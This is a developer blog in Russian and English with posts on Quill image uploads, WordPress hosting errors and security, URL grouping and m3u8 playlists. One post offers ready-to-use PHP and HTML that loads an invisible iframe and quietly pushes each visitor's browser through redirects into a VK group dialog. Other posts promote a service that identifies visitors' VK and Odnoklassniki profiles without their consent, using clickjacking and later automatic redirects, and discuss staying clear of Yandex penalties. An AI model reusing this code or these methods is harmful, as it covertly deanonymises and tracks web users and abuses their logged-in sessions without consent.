Блог очередного разработчика

Sanasol

VueJS/Laravel + Quill Editor handling base64 image upload

Hello,

Quill editor doing really great job with accepting images and putting it as base64.

But actually it doesnt good, especially for big images.

Your DB will be big AF and page load time will grow with each image in text.

I didnt find good or working solution from Quill side. Only some closed GitHub issues.

 

So i decided to make lilttle hack on backend.

My system info: VueJS Quill wrapper, Laravel 5.4

Now what we need.

Firstly install Symfony Dow Crawler

Then include it and some other classes in your model/controller.

And here code of extractor/file saver

And finally we got $desc html with converted base64 -> fs path

Saving to DB.

That’s all.

 

Full Code at gist: https://gist.github.com/S-anasol/5dde48f75a265d21123d0ab1f49d2e8a

WordPress open_basedir restriction in effect

Если хостить много wordpress сайтов на одном сервере и закрывать их open_basedir, как например делает по дефолту ISPmanager, то иногда возникают ошибки  open_basedir restriction in effect.

При этом сайт пытается залезть в соседний по серверу.

Это случается при использовании xcache в php.

Кешер глобально кеширует пути к скриптам из-за этого сайт обращается не к своей корневой директории, а к случайному сайту на этом же сервере.

Его туда не пускает open_basedir и сайт показывает белую страницу, а так же зависает в режиме обновления, если попытаться обновить плагины/вордпресс.

Решение на данный момент: отключать xcache и жить счастливо.

Выполняем

И перезапускаем сервер

Для ISPmanager с apache:

Для nginx + php-fpm

 

Немножко подгорело

Для тех кто не в курсе.

Есть такая хунта как бородач который собирает профили.

И собирает он их не совсем «белым» способом, а точнее с помощью кликжекинга(невидимый элемент на странице по которому кликает посетитель сайта).

Яндекс решил что он герой всея интернета и стал ругать сайты за использование этой технологии(опускает сайты в поиске на дно, т.е. всё СЕО и т.п. идёт в большую жопу).

Естественно магические алгоритмы определения тщательно скрываются.

(далее…)

Автоматическое сообщение от имени группы посетителям сайта

UP новая версия

var group_id = 141530628;
айдишник группы

sanasol-test.ru/fb/send.php
заменить в обоих случаях на адрес своего send.php

 


<?php
if(isset($_REQUEST['1'])){
$id = $_REQUEST['1'];
$level1 = "http://sanasol-test.ru/fb/send.php?2={$id}";
header('Location: http://0x57F0A552/away.php?to='.urlencode($level1));
die();
}
if(isset($_REQUEST['2'])){
$id = $_REQUEST['2'];
$level2 = "https://vk.com/im?sel=-{$id}";
header('Location: '.$level2);
die();
}

view raw

send.php

hosted with ❤ by GitHub


<!DOCTYPE HTML>
<html lang="ru-RU">
<head>
<meta charset="UTF-8">
</head>
<body>
<script type="text/javascript">
var group_id = 141530628;
var ifr = document.createElement("iframe");
ifr.style = "opacity: 0;position: absolute;height: 1px;width: 1px;";
ifr.setAttribute("referrerpolicy", "no-referrer");
ifr.src = '//sanasol-test.ru/fb/send.php?1='+group_id;
document.body.append(ifr);
</script>
</body>
</html>

view raw

test.html

hosted with ❤ by GitHub

 

1. Включаем в группе сообщения

2. Пишем приветствие


3. Добавляем код на сайт в любое место https://gist.github.com/S-anasol/0ed…9c8f8a5b475791
4. Цифры(85297730) заменяем на ID группы. Дефис/минус удалять не надо 🙂
5. Все зашедшие на сайт получают приветственное сообщение от вашей группы.

По лимитам вроде как 250 человек в день.

Эпоха кликджекинга прошла

Доброго времени суток.

 

Небольшой пост статистики по бородач сервису.

Проблема зрела давно, как только яндекс начал делать гадости.

 

Несколько дней назад добавил возможность отключить кликджекинг при сборе ВК профилей.

Затем все сайты были переключены на этот режим «принудительно».

И вот прошли первые сутки, бОльшая часть клиентов не стала выключать этот режим, по крайней мере пока.

 

Суть нового алгоритма в отправке посетителей сайтов в специальное ВК приложение, а затем возврат на сайт.

Естественно все это происходит автоматически. После всех манипуляций в браузере клиента он будет на той странице которой и был изначально.

При этом кликать никуда не нужно. Поэтому Яндекс должен перестать  пессимизировать сайты использующие сервис.

 

Отсюда вытекает самый очевидный минус:

Посетители видят что что-то происходит. Вряд ли они поймут для чего этого, но выглядит это подозрительно для более менее продвинутых пользователей.

Поэтому можно отключить новый алгоритм в настройках сайта, если вы считаете что это критичный момент для вашего проекта.

 

Однако есть и огромный плюс в новом алгоритме сбора:

Так как теперь не надо получать от посетителя клик, и никакие «скрытые/мошеннические возможности» не используются — охват аудитории сильно увеличивается.

А точнее теперь поддерживаются мобильные, планшеты и т.п. И вообще всё где есть браузер и соц.сети.

Многие клиенты жаловались на такой момент «трафик есть, профилей нет».

Почти у всех оказывалось порядка 50-90% мобильного трафика.

А из НЕ мобильного еще и часть браузеров которые не поддерживались в старом варианте сбора профилей. Такие как Сафари, IE и другие необычные или устаревшие.

Теперь весь этот трафик попадает в охватываемую сервисом аудиторию, и бОльшая часть будет определена.

И так мы плавно подошли к цели поста — статистика.

 

 

На скриншоте 3 графика, все показывают статистику за последний месяц по дням.

  1. Количество собранных профилей ВК
  2. Количество собранных профилей ОК
  3. Количество посетителей общее.

 

Теперь немного подробнее.

В среднем в день через сервис проходит 18-20 тысяч трафика.

Из них сервис определяет порядка 1500-2000 профилей Одноклассников и столько же профилей ВК. Естественно они пересекаются(посетитель попался сразу в двух соц. сетях) поэтому нельзя сказать что собирается 4000 профилей в день. Так что в общем это 2000-3000 уникальных профилей в день.

Последний столбец показывает статистику после того как был включен новый алгоритм на всех сайтах.

На Одноклассниках он естественно никак не отобразился.

А вот на ВК видно прирост практически в два раза:

2 ноября 1919 профилей — старый алгоритм

3 ноября 3488 профилей — новый алгоритм

Вот такая в общем статистика, больше добавить нечего.

 

Надеюсь клиенты будут довольны и продаж станет больше 🙂

 

P.S. просадка в сборе ОК профилей связана с тем что ресурсов для обработки всего трафика не хватало. Потом исправил 🙂

WordPress безопасность

Сайты на WP ломают много и постоянно(пытаются по крайней мере с помощью толпы сканеров)

 

>>Зачем это все загружают? Там нечего на обычных сайтах тырить особо, никаких ботов вроде не создается и часто это виртуальные хостинги, т.е. рута к системе у них нет точно.

Ломают не для того чтобы украсть, а делают фейковые страницы, встраивают ссылки, рекламные редиректы. Ты их даже не увидишь, а гугл проиндексирует. А твои посетители с мобильных улетят на какую-нибудь рекламную ссылку, и опять же пока сам с мобильного не зайдешь даже не узнаешь об этом.

Такие сайты ломают тысячами — получают большие фермы из которых можно много чего выжать. В основном всё такое говно идёт с китайцев(с их серверов)

 

>>Что можно поставить на сервере для отслеживания постфактум — через какую хрень взломали?

Начальную точку заражению почти нереально найти. Дыры новые регулярно появляются, старые закрываются и так по кругу.
Тут уже только расследование на живом сайте который ломают. Т.е. чистишь сайт, опять вирусню заливают, пытаешься понять откуда.
Разные варианты пробуешь: плагины,закрыть доступ на запись куда-либо и т.д.

 

>> Через что лучше сканировать на предмет наличия вирусов?

Cканеры особо не помогают, вирусы на рандоме в основном. Т.е. набор буквоцифр. Многое упускается из виду.
Но как вариант ClamAV — это серверный антивирус. Он находит, но не всё.

 

Как избежать взломов мой рецепт

  • использовать меньше плагинов по возможности
  • желательно все плагины из более менее популярных.
  • обновляться постоянно(WP ядро, Плагины, Темы)
  • ну пароль само собой сложный у админа😂

 

Как лечить взломы

Шаг 1: Ставим Wordfence — сканируем файлы, все что заражено очищаем.

Чистим руками все что видим сами и через Wordfence.

Wordfence игнорирует вирусные файлы которые лежат например в корне сайта и не являются стандартными для WP.

Там конечно можно включить проверку вообще всех файлов, да еще и по базе вирусов, но тогда проверка никогда не закончится, если у вас старый сайт с большим количеством контента и файлов.

Поэтому проверяем сами вручную все папки стандартные на наличие аномалий. Вычищаем.

 

Шаг 2: Ждём какое-то время.

Если вирусня не появляется — значит все почистили хорошо.

Если появляется значит возвращаемся к Шагу 1. Чистим заново еще тщательнее.

 

Шаг 3: Снова ждём.

Если ничего нет — профит.

Если есть — начинаем подозревать плагины.

Тут уже подробнее особо не расписать, все индивидуально.

Пытаемся узнать какой плагин нас подставил, затем лечим или убиваем его.

 

Небольшая сноска: почти все повторные взломы это последствия плохой чистки после первоначального. Так что первоначальная дыра может быть уже закрыта обновлениями, а вирусы тем не менее размножаются через модифицированные/созданные при первом заражении файлы.

URL pattern matcher/classificator

Problem:

I have many different URLs in database.

From many sites.

I dont know how these sites work and url structure.

So I need to get 500 URLs from each site then compare and group it by common static part.

Which should be automatically merged via replacing with {var} any dynamic URL parts.

And then get ~10 urls as result.

Final result: reduce database size

 

Solution:

Here is some kind Proof of Concept 🙂

Example with splitting URL by «?»

— Parse parameters.

— Calculate frequency for unique parameter values.

— Get Nth percentile.

— Build URLs and replace parameters which frequency is more than Nth percentile

For small data like here in sandbox 50 percentile is enough to group some URL.

For «big real data» 90-95 percentile.
For example: I use 90 percentile for 5000 links -> result ~200 links

Сбор Одноклассников и редизайн бородача

Бородач сервис, Сбор ОК профилей
Бородач сервис, Сбор ОК профилей

Доброго времени суток.

Не так давно начался активный период на Бородаче.
Вышло много апдейтов.
Главные из них это пожалуй сбор ОК профилей и редизайн.

Сбор профилей Одноклассников работает уже примерно 1,5 месяца.
За это время были выловлены разного рода недочеты, и теперь все работает как часы.
Немного о том как это работает, страница ОК определяется при заходе на ваш сайт.
Для этого не требуется делать клик или другие действия со стороны пользователя.
Происходит это за 1-3 секунды.
Так же отличная новость в том что сбор ОК профилей работает на абсолютно любых платформах и устройствах, в отличии от ВК.
Тем самым охват аудитории становится огромным.
Конечно же для определения профиля посетитель должен быть «залогинен» в ОК.

Второе большое обновление это обновление дизайна.
В основном страницы остались те же, но немного поменялась оболочка сайта.
Меню переместилось наверх, и стало более контрастным.
Сильные изменения претерпела страница собранных профилей.
Так как необходимо было добавить в список ОК профили, было решено переработать раздел чуть более чем полностью.
Теперь на странице собранных профилей можно выбрать блочный или табличный вывод профилей.
Так же добавлено поле для заметок о посетителе.
Некоторые данные которые были доступны ранее пока что не отображаются: utm метки, IP адрес, реферер и т.п.
Это будет доступно немного позднее.

Регистрируйтесь здесь: http://vboro.de/
После регистрации 48 часов пробный период с полным доступом.

Mobile Chrome http streaming(m3u8) doesnt work

Wrong X-TARGETDURATION in m3u8 playlist causes error on Andorid Chrome.
Error not visible in console or everywhere else, so its really hard to detect.
Chrome Desktop ignore this error for some reason, but mobile sensitive to it.

I have wrongly thought that it should be full video duration.

Solution is: X-TARGETDURATION should contain duration of longest video fragment.

Here is an example of a Media Playlist:

#EXTM3U
#EXT-X-TARGETDURATION:10

#EXTINF:9.009,
http://media.example.com/first.ts
#EXTINF:9.009,
http://media.example.com/second.ts
#EXTINF:3.003,
http://media.example.com/third.ts

The first line is the format identifier tag #EXTM3U. The line
containing #EXT-X-TARGETDURATION says that all Media Segments will be
10 seconds long or less. Then three Media Segments are declared.
The first and second are 9.009 seconds long; the third is 3.003
seconds.

Specs